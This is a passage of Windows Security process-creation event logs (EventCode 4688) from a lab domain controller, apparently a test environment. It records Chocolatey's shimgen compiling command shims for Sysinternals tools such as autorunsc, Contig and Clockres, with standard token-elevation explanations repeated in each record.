Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246368 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x364 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xddc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\autorunsc.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246367 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xddc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246366 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xddc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\autorunsc.exe" --output="C:\ProgramData\chocolatey\bin\autorunsc.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\autorunsc.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246365 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe84 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x538 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB531.tmp" "c:\ProgramData\chocolatey\bin\CSC57E636F3DEF34C339761F8CC5D8338EE.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246364 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x538 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x538 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autoruns64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246407 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x384 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246406 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x384 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Contig64.exe" --output="C:\ProgramData\chocolatey\bin\Contig64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Contig64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246405 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBC27.tmp" "c:\ProgramData\chocolatey\bin\CSCCD3F0B84CD140BBAFE655C133FBE63.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246404 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246403 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Contig.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246402 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246401 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa68 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Contig.exe" --output="C:\ProgramData\chocolatey\bin\Contig.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Contig.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246400 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x888 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe5c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBB3C.tmp" "c:\ProgramData\chocolatey\bin\CSC54B278A3542C444A96F63D0DF2FA7C2.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246399 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x990 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe5c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246398 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe5c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf84 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Clockres64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246397 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf84 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the 